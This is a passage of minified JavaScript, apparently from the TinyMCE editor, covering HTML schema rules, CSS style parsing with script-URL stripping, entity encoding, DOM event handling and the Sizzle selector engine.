t,n=a.exec(e),r="~"===n[1],o=r?"span":"div",i=n[2];l[i]=l[o],f[i]=o,r||(R[i.toUpperCase()]={},R[i]={}),S[i]||(t=S[o],delete(t=oi({},t)).removeEmptyAttrs,delete t.removeEmpty,S[i]=t),ri(l,function(e,t){e[o]&&(l[t]=e=oi({},l[t]),e[i]=e[o])})}))}function L(e){var o=/^([+\-]?)([A-Za-z0-9_\-.\u00b7\u00c0-\u00d6\u00d8-\u00f6\u00f8-\u037d\u037f-\u1fff\u200c-\u200d\u203f-\u2040\u2070-\u218f\u2c00-\u2fef\u3001-\ud7ff\uf900-\ufdcf\ufdf0-\ufffd]+)\[([^\]]+)]$/;ei[i.schema]=null,e&&ri(eo(e,","),function(e){var t,n,r=o.exec(e);r&&(n=r[1],t=n?l[r[2]]:l[r[2]]={"#comment":{}},t=l[r[2]],ri(eo(r[3],"|"),function(e){"-"===n?delete t[e]:t[e]={}}))})}function I(e){var t,n=S[e];if(n)return n;for(t=N.length;t--;)if((n=N[t]).pattern.test(e))return n}ri((i.special||"script noscript iframe noframes noembed title style textarea xmp").split(" "),function(e){d[e]=new RegExp("</"+e+"[^>]*>","gi")}),i.valid_elements?B(i.valid_elements):(ri(m,function(e,t){S[t]={attributes:e.attributes,attributesOrder:e.attributesOrder},l[t]=e.children}),"html5"!==i.schema&&ri(eo("strong/b em/i"),function(e){var t=eo(e,"/");S[t[1]].outputName=t[0]}),ri(D,function(e,t){S[t]&&(i.padd_empty_block_inline_children&&(S[t].paddInEmptyBlock=!0),S[t].removeEmpty=!0)}),ri(eo("ol ul blockquote a table tbody"),function(e){S[e]&&(S[e].removeEmpty=!0)}),ri(eo("p h1 h2 h3 h4 h5 h6 th td pre div address caption li"),function(e){S[e].paddEmpty=!0}),ri(eo("span"),function(e){S[e].removeEmptyAttrs=!0})),P(i.custom_elements),L(i.valid_children),O(i.extended_valid_elements),L("+ol[ul|ol],+ul[ul|ol]"),ri({dd:"dl",dt:"dl",li:"ul ol",td:"tr",th:"tr",tr:"tbody thead tfoot",tbody:"table",thead:"table",tfoot:"table",legend:"fieldset",area:"map",param:"video audio object"},function(e,t){S[t]&&(S[t].parentsRequired=eo(e))}),i.invalid_elements&&ri(ii(i.invalid_elements),function(e){S[e]&&delete S[e]}),I("span")||O("span[!data-mce-type|*]");var M=J(h),F=J(v),U=J(b),z=J(w),H=J(R),j=J(A),V=J(D),q=J(x),$=J(C),W=J(k),K=J(_),X=J(y),Y=J(d),G=J(f);return{children:l,elements:S,getValidStyles:M,getValidClasses:U,getBlockElements:H,getInvalidStyles:F,getShortEndedElements:q,getTextBlockElements:j,getTextInlineElements:V,getBoolAttrs:z,getElementRule:I,getSelfClosingElements:$,getNonEmptyElements:W,getMoveCaretBeforeOnEnterElements:K,getWhiteSpaceElements:X,getSpecialElements:Y,isValidChild:function(e,t){var n=l[e.toLowerCase()];return!(!n||!n[t.toLowerCase()])},isValid:function(e,t){var n,r,o=I(e);if(o){if(!t)return!0;if(o.attributes[t])return!0;if(n=o.attributePatterns)for(r=n.length;r--;)if(n[r].pattern.test(e))return!0}return!1},getCustomElements:G,addValidElements:O,setValidElements:B,addCustomElements:P,addValidChildren:L}}function io(e,t,n,r){function o(e){return 1<(e=parseInt(e,10).toString(16)).length?e:"0"+e}return"#"+o(t)+o(n)+o(r)}function ao(b,e){var u,o,y=this,C=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/gi,x=/(?:url(?:(?:\(\s*\"([^\"]+)\"\s*\))|(?:\(\s*\'([^\']+)\'\s*\))|(?:\(\s*([^)\s]+)\s*\))))|(?:\'([^\']+)\')|(?:\"([^\"]+)\")/gi,w=/\s*([^:]+):\s*([^;]+);?/g,S=/\s+$/,N={},E=xo;b=b||{},e&&(u=e.getValidStyles(),o=e.getInvalidStyles());for(var t=("\\\" \\' \\; \\: ; : "+E).split(" "),k=0;k<t.length;k++)N[t[k]]=E+k,N[E+k]=t[k];return{toHex:function(e){return e.replace(C,io)},parse:function(e){function t(e,t,n){var r=p[e+"-top"+t];if(r){var o=p[e+"-right"+t];if(o){var i=p[e+"-bottom"+t];if(i){var a=p[e+"-left"+t];if(a){var u=[r,o,i,a];for(k=u.length-1;k--&&u[k]===u[k+1];);-1<k&&n||(p[e+t]=-1===k?u[0]:u.join(" "),delete p[e+"-top"+t],delete p[e+"-right"+t],delete p[e+"-bottom"+t],delete p[e+"-left"+t])}}}}}function n(e){var t,n=p[e];if(n){for(t=(n=n.split(" ")).length;t--;)if(n[t]!==n[0])return;return p[e]=n[0],1}}function r(e){return f=!0,N[e]}function u(e,t){return f&&(e=e.replace(/\uFEFF[0-9]/g,function(e){return N[e]})),t?e:e.replace(/\\([\'\";:])/g,"$1")}function o(e){return String.fromCharCode(parseInt(e.slice(1),16))}function i(e){return e.replace(/\\[0-9a-f]+/gi,o)}function a(e,t,n,r,o,i){if(o=o||i)return"'"+(o=u(o)).replace(/\'/g,"\\'")+"'";if(t=u(t||n||r),!b.allow_script_urls){var a=t.replace(/[\s\r\n]+/g,"");if(/(java|vb)script:/i.test(a))return"";if(!b.allow_svg_data_urls&&/^data:image\/svg/i.test(a))return""}return"url('"+(t=h?h.call(v,t,"style"):t).replace(/\'/g,"\\'")+"')"}var s,c,l,f,d,m,g,p={},h=b.url_converter,v=b.url_converter_scope||y;if(e){for(e=(e=e.replace(/[\u0000-\u001F]/g,"")).replace(/\\[\"\';:\uFEFF]/g,r).replace(/\"[^\"]+\"|\'[^\']+\'/g,function(e){return e.replace(/[;:]/g,r)});s=w.exec(e);)w.lastIndex=s.index+s[0].length,c=s[1].replace(S,"").toLowerCase(),l=s[2].replace(S,""),c&&l&&(c=i(c),l=i(l),-1===c.indexOf(E)&&-1===c.indexOf('"')&&(b.allow_script_urls||"behavior"!==c&&!/expression\s*\(|\/\*|\*\//.test(l))&&("font-weight"===c&&"700"===l?l="bold":"color"!==c&&"background-color"!==c||(l=l.toLowerCase()),l=(l=l.replace(C,io)).replace(x,a),p[c]=f?u(l,!0):l));t("border","",!0),t("border","-width"),t("border","-color"),t("border","-style"),t("padding",""),t("margin",""),m="border-style",g="border-color",n(d="border-width")&&n(m)&&n(g)&&(p.border=p[d]+" "+p[m]+" "+p[g],delete p[d],delete p[m],delete p[g]),"medium none"===p.border&&delete p.border,"none"===p["border-image"]&&delete p["border-image"]}return p},serialize:function(i,r){function e(e){var t,n=u[e];if(n)for(var r=0,o=n.length;r<o;r++)e=n[r],(t=i[e])&&(a+=(0<a.length?" ":"")+e+": "+t+";")}var a="";return r&&u?(e("*"),e(r)):ne(i,function(e,t){var n;!e||o&&((n=o["*"])&&n[t]||(n=o[r])&&n[t])||(a+=(0<a.length?" ":"")+t+": "+e+";")}),a}}}function uo(e){return e instanceof Event||y(e.initEvent)}function so(e,t,n,r){var o,i,a=function(e){var t,n=null!=r?r:{};for(t in e)Ee(ui,t)||(n[t]=e[t]);return V(n.composedPath)&&(n.composedPath=function(){return e.composedPath()}),n}(t);return a.type=e,K(a.target)&&(a.target=null!==(o=a.srcElement)&&void 0!==o?o:n),(K((i=t).preventDefault)||uo(i))&&(a.preventDefault=function(){a.defaultPrevented=!0,a.isDefaultPrevented=w,y(t.preventDefault)?t.preventDefault():uo(t)&&(t.returnValue=!1)},a.stopPropagation=function(){a.cancelBubble=!0,a.isPropagationStopped=w,y(t.stopPropagation)?t.stopPropagation():uo(t)&&(t.cancelBubble=!0)},a.stopImmediatePropagation=function(){a.isImmediatePropagationStopped=w,a.stopPropagation()},a.isDefaultPrevented!==w&&a.isDefaultPrevented!==D&&(a.isDefaultPrevented=!0===a.defaultPrevented?w:D,a.isPropagationStopped=!0===a.cancelBubble?w:D,a.isImmediatePropagationStopped=D)),a}function co(e,t,n,r){e.addEventListener?e.addEventListener(t,n,r||!1):e.attachEvent&&e.attachEvent("on"+t,n)}function lo(e,t,n,r){e.removeEventListener?e.removeEventListener(t,n,r||!1):e.detachEvent&&e.detachEvent("on"+t,n)}function fo(e,t){var n,r,o,i,a=so(e.type,e,document,t);return V(i=e)&&si.test(i.type)&&b(e.pageX)&&!b(e.clientX)&&(r=(n=a.target.ownerDocument||document).documentElement,o=n.body,a.pageX=e.clientX+(r&&r.scrollLeft||o&&o.scrollLeft||0)-(r&&r.clientLeft||o&&o.clientLeft||0),a.pageY=e.clientY+(r&&r.scrollTop||o&&o.scrollTop||0)-(r&&r.clientTop||o&&o.clientTop||0)),b(a.metaKey)&&(a.metaKey=!1),a}var mo=Or(["h1","h2","h3","h4","h5","h6"]),go=Or(["article","aside","details","div","dt","figcaption","footer","form","fieldset","header","hgroup","html","main","nav","section","summary","body","p","dl","multicol","dd","figure","address","center","blockquote","h1","h2","h3","h4","h5","h6","listing","xmp","pre","plaintext","menu","dir","ul","ol","li","hr","table","tbody","thead","tfoot","th","tr","td","caption"]),po=Or(["h1","h2","h3","h4","h5","h6","p","div","address","pre","form","blockquote","center","dir","fieldset","header","footer","article","section","hgroup","aside","nav","figure"]),ho=Or(["ul","ol","dl"]),vo=Or(["li","dd","dt"]),bo=Or(["thead","tbody","tfoot"]),yo=Or(["td","th"]),Co=Or(["pre","script","textarea","style"]),xo="\ufeff",wo="\xa0",So=xo,No=function(e){return e===xo},Eo=function(e){return e.replace(/\uFEFF/g,"")},ko=Hn,_o=Vn,Ao=function(e){return _o(e)&&e.data[0]===So},Ro=function(e){return _o(e)&&e.data[e.data.length-1]===So},Do=Yn,To=Gn,Oo=Kn,Bo=Vn,Po=on(["script","style","textarea"]),Lo=on(["img","input","textarea","hr","iframe","video","audio","object","embed"]),Io=on(["table"]),Mo=Mr,Fo=function(e){return!1===(Hn(t=e)&&"true"===t.getAttribute("unselectable"))&&To(e);var t},Uo=/^[ \t\r\n]*$/,zo=un("data-mce-bookmark"),Ho=un("data-mce-bogus"),jo=function(e){return Hn(e)&&"all"===e.getAttribute("data-mce-bogus")},Vo=function(e,t,n){var r=n||t;if(Hn(t)&&Yr(t))return t;for(var o,i,a,u,s,c,l,f,d,m,g,p=t.childNodes,h=p.length-1;0<=h;h--)Vo(e,p[h],r);return!Hn(t)||1===(o=t.childNodes).length&&Yr(o[0])&&t.parentNode.insertBefore(o[0],t),Wn(a=t)||$n(a)||Wr(t,r)||Hn(i=t)&&0<i.childNodes.length||(s=r,Vn(u=t)&&0<u.data.length&&(f=new Dr(c=u,l=s).prev(!1),d=new Dr(c,l).next(!1),m=b(f)||Xr(f,l),g=b(d)||Xr(d,l),m&&g))||e.remove(t),t},qo=Nt.makeMap,$o=/[&<>\"\u0060\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,Wo=/[<>&\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,Ko=/[<>&\"\']/g,Xo=/&#([a-z0-9]+);?|&([a-z0-9]+);/gi,Yo={128:"\u20ac",130:"\u201a",131:"\u0192",132:"\u201e",133:"\u2026",134:"\u2020",135:"\u2021",136:"\u02c6",137:"\u2030",138:"\u0160",139:"\u2039",140:"\u0152",142:"\u017d",145:"\u2018",146:"\u2019",147:"\u201c",148:"\u201d",149:"\u2022",150:"\u2013",151:"\u2014",152:"\u02dc",153:"\u2122",154:"\u0161",155:"\u203a",156:"\u0153",158:"\u017e",159:"\u0178"},Go={'"':"&quot;","'":"&#39;","<":"&lt;",">":"&gt;","&":"&amp;","`":"&#96;"},Jo={"&lt;":"<","&gt;":">","&amp;":"&","&quot;":'"',"&apos;":"'"},Qo=Gr("50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,t9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro",32),Zo={encodeRaw:Jr,encodeAllRaw:function(e){return(""+e).replace(Ko,function(e){return Go[e]||e})},encodeNumeric:Qr,encodeNamed:Zr,getEncodeFunc:function(e,t){var n=Gr(t)||Qo,r=qo(e.replace(/\+/g,","));return r.named&&r.numeric?function(e,t){return e.replace(t?$o:Wo,function(e){return void 0!==Go[e]?Go[e]:void 0!==n[e]?n[e]:1<e.length?"&#"+(1024*(e.charCodeAt(0)-55296)+(e.charCodeAt(1)-56320)+65536)+";":"&#"+e.charCodeAt(0)+";"})}:r.named?t?function(e,t){return Zr(e,t,n)}:Zr:r.numeric?Qr:Jr},decode:function(e){return e.replace(Xo,function(e,t){return t?65535<(t="x"===t.charAt(0).toLowerCase()?parseInt(t.substr(1),16):parseInt(t,10))?(t-=65536,String.fromCharCode(55296+(t>>10),56320+(1023&t))):Yo[t]||String.fromCharCode(t):Jo[e]||Qo[e]||(n=e,(r=Et.fromTag("div").dom).innerHTML=n,r.textContent||r.innerText||n);var n,r})}},ei={},ti={},ni=Nt.makeMap,ri=Nt.each,oi=Nt.extend,ii=Nt.explode,ai=Nt.inArray,ui={keyLocation:!0,layerX:!0,layerY:!0,returnValue:!0,webkitMovementX:!0,webkitMovementY:!0,keyIdentifier:!0,mozPressure:!0},si=/^(?:mouse|contextmenu)|click/,ci=(li.prototype.bind=function(e,t,n,r){function o(e){f.executeHandlers(fo(e||d.event),i)}var i,a,u,s,c,l,f=this,d=window;if(e&&3!==e.nodeType&&8!==e.nodeType){e[f.expando]?i=e[f.expando]:(i=f.count++,e[f.expando]=i,f.events[i]={}),r=r||e;for(var m=t.split(" "),g=m.length;g--;)c=o,s=l=!1,"DOMContentLoaded"===(u=m[g])&&(u="ready"),f.domLoaded&&"ready"===u&&"complete"===e.readyState?n.call(r,fo({type:u})):(f.hasMouseEnterLeave||(s=f.mouseEnterLeave[u])&&(c=function(e){var t=e.currentTarget,n=e.relatedTarget;if(n&&t.contains)n=t.contains(n);else for(;n&&n!==t;)n=n.parentNode;n||((e=fo(e||d.event)).type="mouseout"===e.type?"mouseleave":"mouseenter",e.target=t,f.executeHandlers(e,i))}),f.hasFocusIn||"focusin"!==u&&"focusout"!==u||(l=!0,s="focusin"===u?"focus":"blur",c=function(e){(e=fo(e||d.event)).type="focus"===e.type?"focusin":"focusout",f.executeHandlers(e,i)}),(a=f.events[i][u])?"ready"===u&&f.domLoaded?n(fo({type:u})):a.push({func:n,scope:r}):(f.events[i][u]=a=[{func:n,scope:r}],a.fakeName=s,a.capture=l,a.nativeHandler=c,"ready"===u?function(e,t,n){var r,o=e.document,i={type:"ready"};n.domLoaded?t(i):(r=function(){lo(e,"DOMContentLoaded",r),lo(e,"load",r),n.domLoaded||(n.domLoaded=!0,t(i)),e=null},"complete"===o.readyState||"interactive"===o.readyState&&o.body?r():co(e,"DOMContentLoaded",r),n.domLoaded||co(e,"load",r))}(e,c,f):co(e,s||u,c,l)));return e=a=null,n}},li.prototype.unbind=function(n,e,t){var r,o,i;if(!n||3===n.nodeType||8===n.nodeType)return this;var a=n[this.expando];if(a){if(i=this.events[a],e){for(var u,s,c,l,f=e.split(" "),d=f.length;d--;)if(l=i[o=f[d]]){if(t)for(r=l.length;r--;)l[r].func===t&&(u=l.nativeHandler,s=l.fakeName,c=l.capture,(l=l.slice(0,r).concat(l.slice(r+1))).nativeHandler=u,l.fakeName=s,l.capture=c,i[o]=l);t&&0!==l.length||(delete i[o],lo(n,l.fakeName||o,l.nativeHandler,l.capture))}}else ne(i,function(e,t){lo(n,e.fakeName||t,e.nativeHandler,e.capture)}),i={};for(o in i)if(Ee(i,o))return this;delete this.events[a];try{delete n[this.expando]}catch(e){n[this.expando]=null}}return this},li.prototype.fire=function(e,t,n){var r;if(!e||3===e.nodeType||8===e.nodeType)return this;for(var o=fo({type:t,target:e},n);(r=e[this.expando])&&this.executeHandlers(o,r),(e=e.parentNode||e.ownerDocument||e.defaultView||e.parentWindow)&&!o.isPropagationStopped(););return this},li.prototype.clean=function(e){var t,n;if(!e||3===e.nodeType||8===e.nodeType)return this;if(e[this.expando]&&this.unbind(e),(e=e.getElementsByTagName?e:e.document)&&e.getElementsByTagName)for(this.unbind(e),t=(n=e.getElementsByTagName("*")).length;t--;)(e=n[t])[this.expando]&&this.unbind(e);return this},li.prototype.destroy=function(){this.events={}},li.prototype.cancel=function(e){return e&&(e.preventDefault(),e.stopImmediatePropagation()),!1},li.prototype.executeHandlers=function(e,t){var n=this.events[t],r=n&&n[e.type];if(r)for(var o=0,i=r.length;o<i;o++){var a=r[o];if(a&&!1===a.func.call(a.scope,e)&&e.preventDefault(),e.isImmediatePropagationStopped())return}},li.Event=new li,li);function li(){this.domLoaded=!1,this.events={},this.count=1,this.expando="mce-data-"+(+new Date).toString(32),this.hasMouseEnterLeave="onmouseenter"in document.documentElement,this.hasFocusIn="onfocusin"in document.documentElement,this.count=1}function fi(e,t,n){var r="0x"+t-65536;return r!=r||n?t:r<0?String.fromCharCode(65536+r):String.fromCharCode(r>>10|55296,1023&r|56320)}var di,mi,gi,pi,hi,vi,bi,yi,Ci,xi,wi,Si,Ni,Ei,ki,_i,Ai,Ri="sizzle"+-new Date,Di=window.document,Ti=0,Oi=0,Bi=la(),Pi=la(),Li=la(),Ii=function(e,t){return e===t&&(xi=!0),0},Mi="undefined",Fi={}.hasOwnProperty,Ui=[],zi=Ui.pop,Hi=Ui.push,ji=Ui.push,Vi=Ui.slice,qi=Ui.indexOf||function(e){for(var t=0,n=this.length;t<n;t++)if(this[t]===e)return t;return-1},$i="[\\x20\\t\\r\\n\\f]",Wi="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",Ki="\\["+$i+"*("+Wi+")(?:"+$i+"*([*^$|!~]?=)"+$i+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+Wi+"))|)"+$i+"*\\]",Xi=":("+Wi+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+Ki+")*)|.*)\\)|)",Yi=new RegExp("^"+$i+"+|((?:^|[^\\\\])(?:\\\\.)*)"+$i+"+$","g"),Gi=new RegExp("^"+$i+"*,"+$i+"*"),Ji=new RegExp("^"+$i+"*([>+~]|"+$i+")"+$i+"*"),Qi=new RegExp("="+$i+"*([^\\]'\"]*?)"+$i+"*\\]","g"),Zi=new RegExp(Xi),ea=new RegExp("^"+Wi+"$"),ta={ID:new RegExp("^#("+Wi+")"),CLASS:new RegExp("^\\.("+Wi+")"),TAG:new RegExp("^("+Wi+"|[*])"),ATTR:new RegExp("^"+Ki),PSEUDO:new RegExp("^"+Xi),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+$i+"*(even|odd|(([+-]|)(\\d*)n|)"+$i+"*(?:([+-]|)"+$i+"*(\\d+)|))"+$i+"*\\)|)","i"),bool:new RegExp("^(?:checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped)$","i"),needsContext:new RegExp("^"+$i+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+$i+"*((?:-\\d)?\\d*)"+$i+"*\\)|)(?=[^-]|$)","i")},na=/^(?:input|select|textarea|button)$/i,ra=/^h\d$/i,oa=/^[^{]+\{\s*\[native \w/,ia=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ua=/'|\\/g,sa=new RegExp("\\\\([\\da-f]{1,6}"+$i+"?|("+$i+")|.)","ig");try{ji.apply(Ui=Vi.call(Di.childNodes),Di.childNodes),Ui[Di.childNodes.length].nodeType}catch(e){ji={apply:Ui.length?function(e,t){Hi.apply(e,Vi.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}var ca=function(e,t,n,r){var o,i,a,u,s,c,l,f,d,m;if((t?t.ownerDocument||t:Di)!==Si&&wi(t),n=n||[],!e||"string"!=typeof e)return n;if(1!==(u=(t=t||Si).nodeType)&&9!==u)return[];if(Ei&&!r){if(o=ia.exec(e))if(a=o[1]){if(9===u){if(!(i=t.getElementById(a))||!i.parentNode)return n;if(i.id===a)return n.push(i),n}else if(t.ownerDocument&&(i=t.ownerDocument.getElementById(a))&&Ai(t,i)&&i.id===a)return n.push(i),n}else{if(o[2])return ji.apply(n,t.getElementsByTagName(e)),n;if((a=o[3])&&di.getElementsByClassName)return ji.apply(n,t.getElementsByClassName(a)),n}if(di.qsa&&(!ki||!ki.test(e))){if(f=l=Ri,d=t,m=9===u&&e,1===u&&"object"!==t.nodeName.toLowerCase()){for(c=hi(e),(l=t.getAttribute("id"))?f=l.replace(ua,"\\$&"):t.setAttribute("id",f),f="[id='"+f+"'] ",s=c.length;s--;)c[s]=f+ha(c[s]);d=aa.test(e)&&ga(t.parentNode)||t,m=c.join(",")}if(m)try{return ji.apply(n,d.querySelectorAll(m)),n}catch(e){}finally{l||t.removeAttribute("id")}}}return bi(e.replace(Yi,"$1"),t,n,r)};function la(){var n=[];function r(e,t){return n.push(e+" ")>mi.cacheLength&&delete r[n.shift()],r[e+" "]=t}return r}function fa(e){return e[Ri]=!0,e}function da(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||1<<31)-(~e.sourceIndex||1<<31);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function ma(a){return fa(function(i){return i=+i,fa(function(e,t){for(var n,r=a([],e.length,i),o=r.length;o--;)e[n=r[o]]&&(e[n]=!(t[n]=e[n]))})})}function ga(e){return e&&typeof e.getElementsByTagName!=Mi&&e}function pa(){}function ha(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function va(a,e,t){var u=e.dir,s=t&&"parentNode"===u,c=Oi++;return e.first?function(e,t,n){for(;e=e[u];)if(1===e.nodeType||s)return a(e,t,n)}:function(e,t,n){var r,o,i=[Ti,c];if(n){for(;e=e[u];)if((1===e.nodeType||s)&&a(e,t,n))return!0}else for(;e=e[u];)if(1===e.nodeType||s){if((r=(o=e[Ri]||(e[Ri]={}))[u])&&r[0]===Ti&&r[1]===c)return i[2]=r[2];if((o[u]=i)[2]=a(e,t,n))return!0}}}function ba(o){return 1<o.length?function(e,t,n){for(var r=o.length;r--;)if(!o[r](e,t,n))return!1;return!0}:o[0]}function ya(e,t,n,r,o){for(var i,a=[],u=0,s=e.length,c=null!=t;u<s;u++)(i=e[u])&&(n&&!n(i,r,o)||(a.push(i),c&&t.push(u)));return a}function Ca(e){return void 0!==e}function xa(e){return"string"==typeof e}function wa(e,t){var n,r=(t=t||Ra).createElement("div"),o=t.createDocumentFragment();for(r.innerHTML=e;n=r.firstChild;)o.appendChild(n);return o}function Sa(e,t){return e&&t&&-1!==(" "+e.className+" ").indexOf(" "+t+" ")}function Na(e,t,n){var r,o;return t=Ya(t)[0],e.each(function(){n&&r===this.parentNode||(r=this.parentNode,o=t.cloneNode(!1),this.parentNode.insertBefore(o,this)),o.appendChild(this)}),e}function Ea(e,t){return new Ya.fn.init(e,t)}function ka(e){return null==e?"":(""+e).replace(ja,"")}function _a(e,t){var n,r,o,i;if(e)if(void 0===(n=e.length)){for(r in e)if(e.hasOwnProperty(r)&&(i=e[r],!1===t.call(i,r,i)))break}else for(o=0;o<n&&(i=e[o],!1!==t.call(i,o,i));o++);return e}function Aa(e,n){var r=[];return _a(e,function(e,t){n(t,e)&&r.push(t)}),r}di=ca.support={},pi=ca.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},wi=ca.setDocument=function(e){var t,s=e?e.ownerDocument||e:Di,n=s.defaultView;return s!==Si&&9===s.nodeType&&s.documentElement?(Ni=(Si=s).documentElement,Ei=!pi(s),n&&n!==function(e){try{return e.top}catch(e){}return null}(n)&&(n.addEventListener?n.addEventListener("unload",function(){wi()},!1):n.attachEvent&&n.attachEvent("onunload",function(){wi()})),di.attributes=!0,di.getElementsByTagName=!0,di.getElementsByClassName=oa.test(s.getElementsByClassName),di.getById=!0,mi.find.ID=function(e,t){if(typeof t.getElementById!=Mi&&Ei){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},mi.filter.ID=function(e){var t=e.replace(sa,fi);return function(e){return e.getAttribute("id")===t}},mi.find.TAG=di.getElementsByTagName?function(e,t){if(typeof t.getElementsByTagName!=Mi)return t.getElementsByTagName(e)}:function(e,t){var n,r=[],o=0,i=t.getElementsByTagName(e);if("*"!==e)return i;for(;n=i[o++];)1===n.nodeType&&r.push(n);return r},mi.find.CLASS=di.getElementsByClassName&&function(e,t){if(Ei)return t.getElementsByClassName(e)},_i=[],ki=[],di.disconnectedMatch=!0,ki=ki.length&&new RegExp(ki.join("|")),_i=_i.length&&new RegExp(_i.join("|")),t=oa.test(Ni.compareDocumentPosition),Ai=t||oa.test(Ni.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},Ii=t?function(e,t){return e===t?(xi=!0,0):(n=!e.compareDocumentPosition-!t.compareDocumentPosition)||(1&(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!di.sortDetached&&t.compareDocumentPosition(e)===n?e===s||e.ownerDocument===Di&&Ai(Di,e)?-1:t===s||t.ownerDocument===Di&&Ai(Di,t)?1:Ci?qi.call(Ci,e)-qi.call(Ci,t):0:4&n?-1:1);var n}:function(e,t){if(e===t)return xi=!0,0;var n,r=0,o=e.parentNode,i=t.parentNode,a=[e],u=[t];if(!o||!i)return e===s?-1:t===s?1:o?-1:i?1:Ci?qi.call(Ci,e)-qi.call(Ci,t):0;if(o===i)return da(e,t);for(n=e;n=n.parentNode;)a.unshift(n);for(n=t;n=n.parentNode;)u.unshift(n);for(;a[r]===u[r];)r++;return r?da(a[r],u[r]):a[r]===Di?-1:u[r]===Di?1:0},s):Si},ca.matches=function(e,t){return ca(e,null,null,t)},ca.matchesSelector=function(e,t){if((e.ownerDocument||e)!==Si&&wi(e),t=t.replace(Qi,"='$1']"),di.matchesSelector&&Ei&&(!_i||!_i.test(t))&&(!ki||!ki.test(t)))try{var n=(void 0).call(e,t);if(n||di.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){}return 